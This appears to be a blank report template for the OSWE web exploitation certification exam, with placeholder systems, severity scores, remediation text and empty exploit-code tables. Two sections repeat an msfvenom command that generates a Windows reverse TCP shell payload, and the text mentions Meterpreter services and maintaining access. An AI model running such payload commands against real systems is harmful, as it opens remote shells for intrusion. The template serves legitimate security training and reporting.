Offensive Security

OSWE Exam Documentation

v.1.0

example@example.com

OSID: OS-XXXXX



**©**

All rights reserved to Offensive Security, 2020

No part of this publication, in whole or in part, may be reproduced, copied, transferred or any other right reserved to its copyright owner, including photocopying and all other copying, any transfer or transmission using any network or other means of communication, any broadcast for distant learning, in any form or by any means such as any information storage, transmission or retrieval system, without prior written permission from Offensive Security.

# Table of Contents

[1.0 Table of Contents 2](#_Toc53180597)

[2.0 Offensive Security Exam Penetration Test Report 4](#_Toc53180598)

[2.1 Introduction 4](#_Toc53180599)

[2.2 Objective 4](#_Toc53180600)

[2.3 Requirements 4](#_Toc53180601)

[3.0 High-Level Summary 5](#_Toc53180602)

[3.1 Recommendations 6](#_Toc53180603)

[4.0 Methodologies 6](#_Toc53180604)

[4.1 Information Gathering 6](#_Toc53180605)

[4.2 Penetration Testing 7](#_Toc53180606)

[4.2.1 System 1 (192.168.XX.XX) - Hostname 8](#_Toc53180607)

[4.2.1.1 System Information 8](#_Toc53180608)

[4.2.1.2 Vulnerability Description 8](#_Toc53180609)

[4.2.1.3 Vulnerability Severity 8](#_Toc53180610)

[4.2.1.4 Vulnerability Exploit Steps 9](#_Toc53180611)

[4.2.1.5 Vulnerability Exploit Code 9](#_Toc53180612)

[4.2.1.6 Vulnerability Remediation 10](#_Toc53180613)

[4.2.1.7 Vulnerability Proof of Exploitation 10](#_Toc53180614)

[4.2.1.7.1 Vulnerability Screenshot 10](#_Toc53180615)

[4.2.1.7.2 Vulnerability Proof.txt Screenshot 10](#_Toc53180616)

[4.2.1.7.3 Vulnerability Proof.txt Content 10](#_Toc53180617)

[4.2.2 System 2 (192.168.XX.XX) - Hostname 11](#_Toc53180618)

[4.2.2.1 System Information 11](#_Toc53180619)

[4.2.2.2 Vulnerability Description 11](#_Toc53180620)

[4.2.2.3 Vulnerability Severity 11](#_Toc53180621)

[4.2.2.4 Vulnerability Exploit Steps 12](#_Toc53180622)

[4.2.2.5 Vulnerability Exploit Code 12](#_Toc53180623)

[4.2.2.6 Vulnerability Remediation 13](#_Toc53180624)

[4.2.2.7 Vulnerability Proof of Exploitation 13](#_Toc53180625)

[4.2.2.7.1 Vulnerability Screenshot 13](#_Toc53180626)

[4.2.2.7.2 Vulnerability Proof.txt Screenshot 13](#_Toc53180627)

[4.2.2.7.3 Vulnerability Proof.txt Content 13](#_Toc53180628)

[4.3 Maintaining Access 14](#_Toc53180629)

[4.4 House Cleaning 14](#_Toc53180630)

[5.0 Appendix 15](#_Toc53180631)

[5.1 Appendix 1 - Proof and Local Contents 15](#_Toc53180632)

[5.2 Appendix 2 – Original Exploit Code 16](#_Toc53180633)

# Offensive Security Exam Penetration Test Report

## Introduction

The Offensive Security OSWE exam report contains all efforts that were conducted in order to pass the Offensive Security exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of exploit development methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Web Expert certification.

## Objective

The objective of this assessment is to perform exploit development and penetration test against the Offensive Security Exam network. The student is tasked with following a methodical approach in obtaining access to the objective goals.

## Requirements

The student is expected to fill out this penetration testing report fully and to include the following sections:

* Overall High-Level Summary and Recommendations
* Methodology walkthrough and detailed outline of steps taken
* Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable.
* Any additional items that were not included

# High-Level Summary

I was tasked with performing an internal penetration test towards Offensive Security Exam. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks similar to those of a hacker and attempt to infiltrate Offensive Security’s internal exam systems. My overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security. When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s end-devices. When performing the attacks, I was able to gain access to multiple machines, primarily due to vulnerable services. During the testing, I had administrative level access to multiple/all systems. All systems were successfully exploited and low and/or high privileged access towards the system were successfully obtained. These systems as well as a brief description on how access was obtained are listed below:

* 192.168.1.1 (hostname) - Name of initial exploit
* 192.168.1.2 (hostname) - Name of initial exploit

## Recommendations

I recommend patching the vulnerable services and applications identified during the testing to ensure that attackers cannot exploit these systems in the future. One thing to remember is that these systems still require additional testing as there might be undiscovered vulnerabilities within the application. It is recommended to identify and patch insecure codes that are utilized within the application.

# Methodologies

I utilized a widely adopted approach to perform penetration testing that is effective in testing how well the Offensive Security Exam environments is secured. Below is a breakout of how I was able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

## Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, I was tasked with exploiting the exam network. The specific IP addresses were:

**Exam Network**

* 192.168.XX.XX
* 192.168.XX.XX

## Penetration Testing

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, I was able to successfully gain root or administrative/user access to X out of the X systems.

**Service Enumeration**

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test.

### System 1 (192.168.XX.XX) - Hostname

#### System Information

**System IP:** 192.168.XX.XX

**Hostname:** Machine\_Name

**Application Name:** Application\_Name

**Application Protocol:** TCP/UDP

**Application Port:** 21

#### Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. Therefore, an exploitation of this vulnerability was used to successfully gain a low/high privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Vulnerability Exploit Steps

***Exploit Steps for Exploitation and Cleanup Steps***

#### Vulnerability Exploit Code

**Filename:**

**Additional Notes:**

1. The vulnerability exploit code is executed with python 2/3.
2. The command to execute the vulnerability exploit code is "python Fuzz\_192\_168\_XX\_XX\_port\_21.py".
3. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Vulnerability Remediation

It is recommended to remove or implement secure coding where loose comparison is replaced with strict comparison on the vulnerable code snippet as attached below.

|  |
| --- |
|  |

#### Vulnerability Proof of Exploitation

##### Vulnerability Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Vulnerability Proof.txt Screenshot

***Include ipconfig/ifconfig, cat/type proof.txt***

##### Vulnerability Proof.txt Content

The content of Proof.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

### System 2 (192.168.XX.XX) - Hostname

#### System Information

**System IP:** 192.168.XX.XX

**Hostname:** Machine\_Name

**Application Name:** Application\_Name

**Application Protocol:** TCP/UDP

**Application Port:** 21

#### Vulnerability Description

The Service\_Name v1.3.5 of the remote target suffers from a Vulnerability\_Name vulnerability. Vulnerability\_Nameis a vulnerability that Description\_Of\_Vulnerability. Therefore, an exploitation of this vulnerability was used to successfully gain a low/high privileged access to the remote machine. The initial discovery of the vulnerability is obtained through the inspection of the service version through the listening ports on the target system.

#### Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Vulnerability Exploit Steps

***Exploit Steps for Exploitation and Cleanup Steps***

#### Vulnerability Exploit Code

**Filename:**

**Additional Notes:**

1. The vulnerability exploit code is executed with python 2/3.
2. The command to execute the vulnerability exploit code is "python Fuzz\_192\_168\_XX\_XX\_port\_21.py".
3. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Vulnerability Remediation

It is recommended to remove or implement secure coding where loose comparison is replaced with strict comparison on the vulnerable code snippet as attached below.

|  |
| --- |
|  |

#### Vulnerability Proof of Exploitation

##### Vulnerability Screenshot

***Include hostname, whoami, id, ipconfig/ifconfig***

##### Vulnerability Proof.txt Screenshot

***Include ipconfig/ifconfig, cat/type proof.txt***

##### Vulnerability Proof.txt Content

The content of Proof.txt on the target system is 9e68786f4d482e062513c8fae1567dce.

## Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit.

## House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organization's computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After collecting trophies from the exam network was completed, the student removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system.

# Appendix

## Appendix 1 - Proof and Local Contents

|  |  |  |
| --- | --- | --- |
| **IP (Hostname)** | **Local.txt Contents** | **Proof.txt Contents** |
| 192.168.XX.XX (Hostname) |  |  |
| 192.168.XX.XX (Hostname) |  |  |

## Appendix 2 – Original Exploit Code

**Filename:**

|  |
| --- |
|  |